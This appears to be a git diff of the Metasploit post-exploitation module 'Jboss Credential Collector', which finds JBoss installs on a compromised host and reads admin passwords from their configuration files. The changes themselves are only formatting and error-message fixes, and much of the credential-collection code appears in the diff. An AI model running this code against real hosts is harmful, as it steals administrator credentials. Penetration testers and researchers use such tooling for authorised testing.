@@ -5,17 +5,19 @@ class MetasploitModule < Msf::Post
5
5
include Msf ::Post ::File
6
6
include Msf ::Post ::Linux ::System
7
7
8
- def initialize ( info = { } )
9
- super ( update_info ( info ,
10
- 'Name' => 'Jboss Credential Collector' ,
11
- 'Description' => %q{
8
+ def initialize ( info = { } )
9
+ super ( update_info (
10
+ info ,
11
+ 'Name' => 'Jboss Credential Collector' ,
12
+ 'Description' => %q(
12
13
This module can be used to extract the Jboss admin passwords for version 4,5 and 6.
13
- } ,
14
- 'License' => MSF_LICENSE ,
15
- 'Author' => [ 'Koen Riepe ([email protected] )' ] ,
16
- 'Platform' => [ 'linux' , 'win' ] ,
17
- 'SessionTypes' => [ 'meterpreter' ]
18
- ) )
14
+ ) ,
15
+ 'License' => MSF_LICENSE ,
16
+ 'Author' => [ 'Koen Riepe ([email protected] )' ] ,
17
+ 'Platform' => [ 'linux' , 'win' ] ,
18
+ 'SessionTypes' => [ 'meterpreter' ]
19
+ )
20
+ )
19
21
end
20
22
21
23
def report_creds ( user , pass , port )
@@ -56,7 +58,7 @@ def getpw(file, ports)
56
58
begin
57
59
lines = read_file ( pwfile ) . split ( "\n " )
58
60
rescue
59
- print_error ( "Cannot open #{ array [ i ] } , you probably don't have permissions to open the file." )
61
+ print_error ( "Cannot open #{ pwfile } , you probably don't have permissions to open the file." )
60
62
next
61
63
end
62
64
for line in lines
@@ -66,7 +68,7 @@ def getpw(file, ports)
66
68
report_creds ( creds [ 0 ] , creds [ 1 ] , ports [ i ] )
67
69
end
68
70
end
69
- i += 1
71
+ i += 1
70
72
end
71
73
end
72
74
@@ -120,12 +122,12 @@ def wingetversion(array, home)
120
122
end
121
123
if not version == "NONE"
122
124
print_status ( "Found a Jboss installation version: #{ version } " )
123
- instances = wingetinstances ( home , version )
125
+ instances = wingetinstances ( home , version )
124
126
pwfiles = winpwfiles ( instances )
125
127
listenports = wingetport ( instances )
126
- getpw ( pwfiles , listenports )
128
+ getpw ( pwfiles , listenports )
127
129
end
128
- i += 1
130
+ i += 1
129
131
end
130
132
end
131
133
@@ -153,14 +155,13 @@ def getports(version)
153
155
type1 = cmd_exec ( 'locate bindings-jboss-beans.xml' ) . split ( "\n " )
154
156
type2 = cmd_exec ( 'locate jboss-web.deployer/server.xml' ) . split ( "\n " )
155
157
port = [ ]
156
-
157
158
type1 . each do |file1 |
158
159
if file1 and file1 . include? version
159
160
print_status ( "Attempting to extract Jboss service ports from: #{ file1 } " )
160
161
begin
161
162
file1_read = read_file ( file1 ) . split ( "\n " )
162
163
rescue
163
- print_error ( "Cannot open #{ array [ i ] } , you probably don't have permissions to open the file." )
164
+ print_error ( "Cannot open #{ file1 } , you probably don't have permissions to open the file." )
164
165
next
165
166
end
166
167
parse = false
@@ -182,9 +183,9 @@ def getports(version)
182
183
if file2 and file2 . include? version
183
184
print_status ( "Attempting to extract Jboss service ports from: #{ file2 } " )
184
185
begin
185
- xml2 = Nokogiri ::XML ( read_file ( file2 ) )
186
+ xml2 = Nokogiri ::XML ( read_file ( file2 ) )
186
187
rescue
187
- print_error ( "Cannot open #{ array [ i ] } , you probably don't have permissions to open the file." )
188
+ print_error ( "Cannot open #{ file2 } , you probably don't have permissions to open the file." )
188
189
next
189
190
end
190
191
xml2 . xpath ( "//Server//Connector" ) . each do |connector |
@@ -206,44 +207,44 @@ def gathernix
206
207
def winhome
207
208
home = [ ]
208
209
exec = cmd_exec ( 'WMIC PROCESS get Caption,Commandline' ) . split ( "\n " )
209
- exec . each do |line |
210
- if line . downcase . include? "java.exe" and line . downcase . include? "jboss"
211
- print_status ( 'Jboss service found' )
212
- parse = line . split ( '-classpath "' ) [ 1 ] . split ( "\\ bin\\ " ) [ 0 ]
213
- if parse [ 0 ] == ';'
214
- home . push ( parse . split ( ';' ) [ 1 ] )
215
- else
216
- home . push ( parse )
217
- end
210
+ exec . each do |line |
211
+ if line . downcase . include? "java.exe" and line . downcase . include? "jboss"
212
+ print_status ( 'Jboss service found' )
213
+ parse = line . split ( '-classpath "' ) [ 1 ] . split ( "\\ bin\\ " ) [ 0 ]
214
+ if parse [ 0 ] == ';'
215
+ home . push ( parse . split ( ';' ) [ 1 ] )
216
+ else
217
+ home . push ( parse )
218
218
end
219
219
end
220
+ end
220
221
return home
221
222
end
222
223
223
224
def wingetinstances ( home , version )
224
225
instances = [ ]
225
226
instance_location = "#{ home } \\ server"
226
227
exec = cmd_exec ( "cmd /c dir #{ instance_location } " ) . split ( "\n " )
227
- exec . each do |instance |
228
- if instance . split ( "<DIR>" ) [ 1 ]
229
- if ( not instance . split ( "<DIR>" ) [ 1 ] . strip . include? "." ) and ( not instance . split ( "<DIR>" ) [ 1 ] . strip . include? ".." )
230
- instance_path = "#{ home } \\ server\\ #{ ( instance . split ( " <DIR>" ) [ 1 ] . strip ) } "
231
- if instance_path . include? version
232
- instances . push ( instance_path )
233
- end
234
- end
235
- end
236
- end
228
+ exec . each do |instance |
229
+ if instance . split ( "<DIR>" ) [ 1 ]
230
+ if ( not instance . split ( "<DIR>" ) [ 1 ] . strip . include? "." ) and ( not instance . split ( "<DIR>" ) [ 1 ] . strip . include? ".." )
231
+ instance_path = "#{ home } \\ server\\ #{ ( instance . split ( ' <DIR>' ) [ 1 ] . strip ) } "
232
+ if instance_path . include? version
233
+ instances . push ( instance_path )
234
+ end
235
+ end
236
+ end
237
+ end
237
238
return instances
238
239
end
239
240
240
241
def winpwfiles ( instances )
241
242
files = [ ]
242
243
instances . each do |seed |
243
- file_path = "#{ seed } \\ conf\\ props\\ jmx-console-users.properties"
244
- if exist? ( file_path )
245
- files . push ( file_path )
246
- end
244
+ file_path = "#{ seed } \\ conf\\ props\\ jmx-console-users.properties"
245
+ if exist? ( file_path )
246
+ files . push ( file_path )
247
+ end
247
248
end
248
249
return files
249
250
end
@@ -308,10 +309,14 @@ def gatherwin
308
309
end
309
310
310
311
def run
311
- if sysinfo [ 'OS' ] . include? "Windows"
312
- gatherwin
313
- else
314
- gathernix
312
+ begin
313
+ if sysinfo [ 'OS' ] . include? "Windows"
314
+ gatherwin
315
+ else
316
+ gathernix
317
+ end
318
+ rescue
319
+ print_error ( 'sysinfo function not available, you are probably using a wrong meterpreter.' )
315
320
end
316
321
end
317
322
end
0 commit comments